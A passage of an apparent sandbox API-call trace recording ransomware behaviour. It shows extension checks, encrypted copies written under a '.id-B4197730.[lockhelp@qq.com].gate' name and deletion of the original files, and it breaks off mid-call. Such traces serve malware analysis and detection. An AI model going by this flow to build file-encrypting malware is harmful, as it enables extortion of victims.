lstrlenW (lpString=".ppt") returned 4 [0110.599] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.599] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0110.599] lstrlenW (lpString=".zip") returned 4 [0110.599] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.599] lstrlenW (lpString=".rar") returned 4 [0110.599] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.599] lstrlenW (lpString=".bz2") returned 4 [0110.599] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.599] lstrlenW (lpString=".7z") returned 3 [0110.599] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.599] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0110.599] lstrlenW (lpString=".dbf") returned 4 [0110.599] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.599] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0110.599] lstrlenW (lpString=".1cd") returned 4 [0110.599] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.599] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0110.599] lstrlenW (lpString=".jpg") returned 4 [0110.599] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.600] lstrcmpiW (lpString1=".rtf", lpString2=".gate") returned 1 [0110.600] lstrlenW (lpString="eula.rtf") returned 8 [0110.600] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0110.600] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=6309) returned 1 [0110.600] CloseHandle (hObject=0x314) returned 1 [0110.601] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 0x80 [0110.601] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.602] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0110.602] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0110.602] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0110.602] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0110.608] GetLastError () returned 0x0 [0110.608] ReadFile (in: hFile=0x31c, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x18a5, lpOverlapped=0x0) returned 1 [0110.620] WriteFile (in: hFile=0x310, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x18b0, lpOverlapped=0x0) returned 1 [0110.621] ReadFile (in: hFile=0x31c, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0110.621] WriteFile (in: hFile=0x310, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xe4, lpOverlapped=0x0) returned 1 [0110.621] SetEndOfFile (hFile=0x310) returned 1 [0110.621] CloseHandle (hObject=0x310) returned 1 [0110.622] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0110.622] SetEndOfFile (hFile=0x31c) returned 1 [0110.623] CloseHandle (hObject=0x31c) returned 1 [0110.623] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0110.623] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 1 [0110.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0110.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0110.624] lstrlenW (lpString=".doc") returned 4 [0110.624] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0110.624] lstrlenW (lpString=".docx") returned 5 [0110.624] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0110.624] lstrlenW (lpString=".pdf") returned 4 [0110.624] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0110.624] lstrlenW (lpString=".xls") returned 4 [0110.624] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0110.624] lstrlenW (lpString=".xlsx") returned 5 [0110.624] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0110.624] lstrlenW (lpString=".ppt") returned 4 [0110.624] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0110.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0110.624] lstrlenW (lpString=".zip") returned 4 [0110.624] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0110.624] lstrlenW (lpString=".rar") returned 4 [0110.625] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0110.625] lstrlenW (lpString=".bz2") returned 4 [0110.625] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0110.625] lstrlenW (lpString=".7z") returned 3 [0110.625] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0110.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0110.625] lstrlenW (lpString=".dbf") returned 4 [0110.625] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0110.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0110.625] lstrlenW (lpString=".1cd") returned 4 [0110.625] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0110.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0110.625] lstrlenW (lpString=".jpg") returned 4 [0110.625] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0110.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0110.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0110.625] lstrlenW (lpString=".doc") returned 4 [0110.625] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0110.625] lstrlenW (lpString=".docx") returned 5 [0110.625] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0110.625] lstrlenW (lpString=".pdf") returned 4 [0110.625] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0110.625] lstrlenW (lpString=".xls") returned 4 [0110.625] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0110.625] lstrlenW (lpString=".xlsx") returned 5 [0110.625] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0110.625] lstrlenW (lpString=".ppt") returned 4 [0110.626] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0110.626] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0110.626] lstrlenW (lpString=".zip") returned 4 [0110.626] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0110.626] lstrlenW (lpString=".rar") returned 4 [0110.626] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0110.626] lstrlenW (lpString=".bz2") returned 4 [0110.626] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0110.626] lstrlenW (lpString=".7z") returned 3 [0110.626] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0110.626] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0110.626] lstrlenW (lpString=".dbf") returned 4 [0110.626] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0110.626] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0110.626] lstrlenW (lpString=".1cd") returned 4 [0110.626] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0110.626] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0110.626] lstrlenW (lpString=".jpg") returned 4 [0110.626] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0110.626] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0110.626] lstrlenW (lpString="LocalizedData.xml") returned 17 [0110.626] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0110.627] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=60816) returned 1 [0110.627] CloseHandle (hObject=0x31c) returned 1 [0110.627] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 0x80 [0110.627] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.627] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0110.627] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0110.627] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0110.627] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0110.627] GetLastError () returned 0x0 [0110.628] ReadFile (in: hFile=0x31c, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0xed90, lpOverlapped=0x0) returned 1 [0110.640] WriteFile (in: hFile=0x310, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xeda0, lpOverlapped=0x0) returned 1 [0110.641] ReadFile (in: hFile=0x31c, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0110.642] WriteFile (in: hFile=0x310, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xf6, lpOverlapped=0x0) returned 1 [0110.642] SetEndOfFile (hFile=0x310) returned 1 [0110.642] CloseHandle (hObject=0x310) returned 1 [0110.646] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0110.646] SetEndOfFile (hFile=0x31c) returned 1 [0110.647] CloseHandle (hObject=0x31c) returned 1 [0110.648] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0110.648] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 1 [0110.648] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0110.648] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0110.648] lstrlenW (lpString=".doc") returned 4 [0110.648] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.648] lstrlenW (lpString=".docx") returned 5 [0110.648] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0110.648] lstrlenW (lpString=".pdf") returned 4 [0110.648] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.648] lstrlenW (lpString=".xls") returned 4 [0110.648] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.648] lstrlenW (lpString=".xlsx") returned 5 [0110.648] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0110.648] lstrlenW (lpString=".ppt") returned 4 [0110.648] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.648] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0110.649] lstrlenW (lpString=".zip") returned 4 [0110.649] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.649] lstrlenW (lpString=".rar") returned 4 [0110.649] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.649] lstrlenW (lpString=".bz2") returned 4 [0110.649] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.649] lstrlenW (lpString=".7z") returned 3 [0110.649] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.649] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0110.649] lstrlenW (lpString=".dbf") returned 4 [0110.649] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.649] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0110.649] lstrlenW (lpString=".1cd") returned 4 [0110.649] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.649] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0110.649] lstrlenW (lpString=".jpg") returned 4 [0110.649] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.649] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0110.649] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0110.649] lstrlenW (lpString=".doc") returned 4 [0110.649] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.649] lstrlenW (lpString=".docx") returned 5 [0110.649] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0110.649] lstrlenW (lpString=".pdf") returned 4 [0110.649] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.649] lstrlenW (lpString=".xls") returned 4 [0110.649] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.649] lstrlenW (lpString=".xlsx") returned 5 [0110.649] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0110.649] lstrlenW (lpString=".ppt") returned 4 [0110.649] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.649] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0110.650] lstrlenW (lpString=".zip") returned 4 [0110.650] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.650] lstrlenW (lpString=".rar") returned 4 [0110.650] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.650] lstrlenW (lpString=".bz2") returned 4 [0110.650] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.650] lstrlenW (lpString=".7z") returned 3 [0110.650] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.650] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0110.650] lstrlenW (lpString=".dbf") returned 4 [0110.650] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.650] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0110.650] lstrlenW (lpString=".1cd") returned 4 [0110.650] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.650] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0110.650] lstrlenW (lpString=".jpg") returned 4 [0110.650] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.650] lstrcmpiW (lpString1=".rtf", lpString2=".gate") returned 1 [0110.650] lstrlenW (lpString="eula.rtf") returned 8 [0110.650] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0110.651] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=3726) returned 1 [0110.651] CloseHandle (hObject=0x31c) returned 1 [0110.651] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 0x80 [0110.652] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.652] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0110.652] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0110.652] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0110.652] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0110.652] GetLastError () returned 0x0 [0110.652] ReadFile (in: hFile=0x31c, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0xe8e, lpOverlapped=0x0) returned 1 [0111.187] WriteFile (in: hFile=0x310, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xe90, lpOverlapped=0x0) returned 1 [0111.188] ReadFile (in: hFile=0x31c, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0111.188] WriteFile (in: hFile=0x310, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xe4, lpOverlapped=0x0) returned 1 [0111.188] SetEndOfFile (hFile=0x310) returned 1 [0111.188] CloseHandle (hObject=0x310) returned 1 [0111.189] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0111.189] SetEndOfFile (hFile=0x31c) returned 1 [0111.190] CloseHandle (hObject=0x31c) returned 1 [0111.190] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0111.190] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 1 [0111.191] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0111.191] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0111.191] lstrlenW (lpString=".doc") returned 4 [0111.191] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0111.191] lstrlenW (lpString=".docx") returned 5 [0111.191] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0111.191] lstrlenW (lpString=".pdf") returned 4 [0111.191] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0111.191] lstrlenW (lpString=".xls") returned 4 [0111.191] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0111.191] lstrlenW (lpString=".xlsx") returned 5 [0111.191] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0111.191] lstrlenW (lpString=".ppt") returned 4 [0111.192] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0111.192] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0111.192] lstrlenW (lpString=".zip") returned 4 [0111.192] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0111.192] lstrlenW (lpString=".rar") returned 4 [0111.192] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0111.192] lstrlenW (lpString=".bz2") returned 4 [0111.192] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0111.192] lstrlenW (lpString=".7z") returned 3 [0111.192] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0111.192] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0111.192] lstrlenW (lpString=".dbf") returned 4 [0111.192] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0111.192] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0111.192] lstrlenW (lpString=".1cd") returned 4 [0111.192] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0111.192] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0111.192] lstrlenW (lpString=".jpg") returned 4 [0111.192] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0111.192] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0111.192] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0111.192] lstrlenW (lpString=".doc") returned 4 [0111.192] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0111.192] lstrlenW (lpString=".docx") returned 5 [0111.193] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0111.193] lstrlenW (lpString=".pdf") returned 4 [0111.193] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0111.193] lstrlenW (lpString=".xls") returned 4 [0111.193] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0111.193] lstrlenW (lpString=".xlsx") returned 5 [0111.193] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0111.193] lstrlenW (lpString=".ppt") returned 4 [0111.193] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0111.193] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0111.193] lstrlenW (lpString=".zip") returned 4 [0111.193] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0111.193] lstrlenW (lpString=".rar") returned 4 [0111.193] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0111.193] lstrlenW (lpString=".bz2") returned 4 [0111.193] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0111.193] lstrlenW (lpString=".7z") returned 3 [0111.193] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0111.193] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0111.193] lstrlenW (lpString=".dbf") returned 4 [0111.193] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0111.193] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0111.193] lstrlenW (lpString=".1cd") returned 4 [0111.193] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0111.193] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0111.193] lstrlenW (lpString=".jpg") returned 4 [0111.194] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0111.194] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0111.194] lstrlenW (lpString="LocalizedData.xml") returned 17 [0111.194] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0111.283] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=86284) returned 1 [0111.283] CloseHandle (hObject=0x330) returned 1 [0111.283] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 0x80 [0111.283] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.283] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0111.284] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0111.284] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, 